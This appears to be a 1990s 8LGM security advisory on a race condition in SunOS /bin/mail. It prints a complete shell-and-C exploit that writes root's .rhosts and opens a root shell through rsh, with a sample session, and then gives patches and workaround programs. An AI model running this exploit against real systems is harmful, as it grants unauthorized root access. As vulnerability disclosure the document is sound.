[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

(Possibly other platforms)

This example demonstrates how to become root on most affected machines by creating/appending-to root's .rhosts file. Please do not do this unless you have permission.

Create the following file, 'mailscript':

8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: mailscript user target-file rsh-user
#
# This exploits a flaw in SunOS binmail(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1992 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "                          export IFS

PROG="`basename $0`"
SPOOLDIR="/var/spool/mail"

# Check args
if [ $# -ne 3 ]; then
        echo "Syntax: $PROG user target-file rsh-user"
        exit 1
fi
TARGET="$1"
TARGET_FILE="$2"
RSH_USER="$3"

# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works on SunOS"
        exit 1
fi

# Check user exists
grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
if [ $? -ne 0 ]; then
        echo "$PROG: Warning, $TARGET not in local passwd file"
        # We continue though, might be in the YP passwd file
fi

# Check target file
if [ -f $TARGET_FILE ]; then
        OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
2>/dev/null
        echo "$PROG: Warning, $TARGET_FILE already exists, appending"
else
        OLD_TARGET_LEN=0
fi

# Delete spool file if its a link, and we are able
if [ -h "$SPOOLDIR/$TARGET" ]; then
        rm -f "$SPOOLDIR/$TARGET"
        # Dont worry about errors, we catch it below
fi

# Check mail file
if [ -f "$SPOOLDIR/$TARGET" ]; then
        echo "$PROG: ${TARGET}'s mail file exists."
        exit 1
fi

# Make the race program
cat >mailrace.c << 'EOF'
#include 
#include 

char lockfile[] =".lock";

main(argc,argv)
int argc;
char *argv[];
{
      char path[128];
        if (argc != 3) {
                fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
                exit(1);
        }

        strcpy(path, argv[1]);
        strcat(path, lockfile);
        while(access(path, F_OK));
        symlink(argv[2], argv[1]);
}
EOF
cc -o mailrace mailrace.c

# Check we now have mailrace
if [ ! -x "mailrace" ]; then
        echo "$PROG: couldnt compile mailrace.c - check it out"
        exit 1
fi

# Start mailrace
./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
RACE_PID=$!

# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
        echo "Sending mail to $TARGET"
        echo "localhost $USER" | /bin/mail $TARGET
        sleep 10
        kill -STOP $RACE_PID
        rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
        if [ -f $SPOOLDIR/$TARGET ]; then
                echo "$PROG: Sorry, we lost the race - cant try again."
                kill -9 $RACE_PID
                exit 1
        fi
        kill -CONT $RACE_PID
        if [ -f "$TARGET_FILE" ]; then
                NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
2>/dev/null
        else
                NEW_TARGET_LEN=0
        fi
        if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
                echo "We drew the race that time, trying again"
        fi
done

# We won the race
kill -9 $RACE_PID
echo "We won the race, becoming $RSH_USER"
rsh localhost -l $RSH_USER sh -i
exit 0
8<--------------------------- cut here ----------------------------

Check what root users are on the system:

>       % grep :0: /etc/passwd
        root:*:0:1:Operator:/:/bin/csh
        sysdiag:*:0:1:Old System
Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
        sundiag:*:0:1:System
Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
        +::0:0:::

>       % ls -l /var/spool/mail/sysdiag
        /var/spool/mail/sysdiag not found
 

>       % chmod 700 mailscript
>       % ./mailscript sysdiag /.rhosts root
        mailscript: Warning, /.rhosts already exists, appending
        Sending mail to sysdiag
        We won the race, becoming root
        ./mailscript: 11051 Killed
        #

• Contact your vendor for a patch. For OSF/1 upgrade/install OSF/1 to a minimum of V2.0 and install Security Enhanced Kit CSCPAT_4061 v1.0. For Ultrix upgrade/install ULTRIX to a minimum of V4.4 and install Security Enhanced Kit CSCPAT_4060 v1.0. For SunOS current patches are listed below, but they are being revised.

          SunOS      Patch              MD5 Checksum
          ------     -----              ------------
          4.1.3      100224-13.tar.Z    90a507017a1a40c4622b3f1f00ce5d2d
          4.1.3UI    101436-08.tar.Z    0e64560edc61eb4b3da81a932e8b11e1
  

  The patches can be obtained from local Sun Answer Centers and through anonymous FTP from ftp.uu.net in the /systems/sun/sun-dist directory. In Europe, the patches are available from mcsun.eu.net in the /sun/fixes directory.

• We have considered several potential workarounds for this vulnerability. The ideal fix would be to remove global write access to the mail spool directory. However, this is not possible as programs such as /bin/mail, /usr/ucb/Mail and elm require everyone to have write access. Also it is not possible to, for example, change the group ownership of /var/spool/mail to mail and give /bin/mail and /usr/ucb/Mail setgid mail privilege, as they do not reset their group id before forking a shell.

  We have therefore decided that the following is the only viable method:

  i. Ensure that every user maintains a mailbox file. The following program will create a mailbox for every user on the system, if one does not currently exist.

  8<--------------------------- cut here ----------------------------
  /*
   * makemailboxes.c
   *
   * Written 1994 by [8LGM]
   *
   * This program is part of a workaround for the SunOS 4.1.x /bin/mail
   * bug described in the 8LGM Advisory.  This program should be executed
   * as root, and will create a mailbox for each user that doesnt have one.
   * In order for this workaround to be effective, /usr/ucb/Mail also needs
   * to be wrapped with wrapper.c.
   */
  
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  #define MAIL_SPOOL_DIR "/var/spool/mail"
  
  main(argc, argv)
  int argc;
  char *argv[];
  {
          int    fd;
          char   path[MAXPATHLEN + 5];
          struct passwd *pw;
  
          umask(0);
          setpwent();
          while (pw = getpwent()) {
                  sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
                  if (access(path, F_OK)) {
                          if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) <
  0)
                                  perror("open");
                          else {
                                  if (fchown(fd, pw->pw_uid, pw->pw_gid))
                                          perror("fchown");
                                  close(fd);
                                  printf("Created %s\n", path);
                          }
                  }
          }
          endpwent();
          exit(0);
  }
  8<--------------------------- cut here ----------------------------
  
  

  ii. /usr/ucb/Mail removes the mailbox file if all mail has been read, and the user is not preserving the contents. Therefore, we would recommend using the following wrapper for Mail, which creates the user's mailbox if it has been removed.

  8<--------------------------- cut here ----------------------------
  /*
   * wrapper.c
   *
   * Written 1994 by [8LGM]
   *
   * This program is part of a workaround for the SunOS 4.1.x /bin/mail
   * bug described in the 8LGM Advisory.  Programs such as /usr/ucb/Mail
   * that will delete the user's mailbox when he/she has no mail need to
   * be wrapped with this.
   *
   * Install as follows:
   *
   *        # cc -O -o wrapper wrapper.c
   *        # mv /usr/ucb/Mail /usr/ucb/Mail.old
   *        # mv /usr/ucb/mail /usr/ucb/mail.old
   *        # cp wrapper /usr/ucb/Mail
   *        # chmod 755 /usr/ucb/Mail
   *        # ln /usr/ucb/Mail /usr/ucb/mail
   *
   * DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
   */
  
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  
  #define MAIL_SPOOL_DIR "/var/spool/mail"
  
  main(argc, argv)
  int argc;
  char *argv[];
  {
          pid_t  pid;
          int    status, fd;
          char   path[MAXPATHLEN + 5], *user;
          struct passwd *pw;
  
          if ((pid = fork()) == -1) {
                  perror("fork");
                  exit(1);
          }
  
          sprintf(path, "%s.old", argv[0]);
          if (pid == 0) {
                  execvp(path, argv);
                  perror("execvp");
                  exit(1);
          }
  
          setuid(getuid());     /* Just in case we're suid,
                                   which we shouldnt be */
          if (waitpid(pid, &status, 0) == -1) {
                  perror("waitpid");
                  exit(1);
          }
  
          if ((user = (char*)getenv("USER")) == NULL) {
                  if ((pw = getpwuid(getuid())) == NULL) {
                          fprintf(stderr, "Who are you?!");
                          exit(1);
                  }
                  user = pw->pw_name;
          }
          sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
          if (access(path, F_OK)) {
                  if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
                          perror("open");
                  else
                          close(fd);
          }
          exit(status);
  }
  8<--------------------------- cut here ----------------------------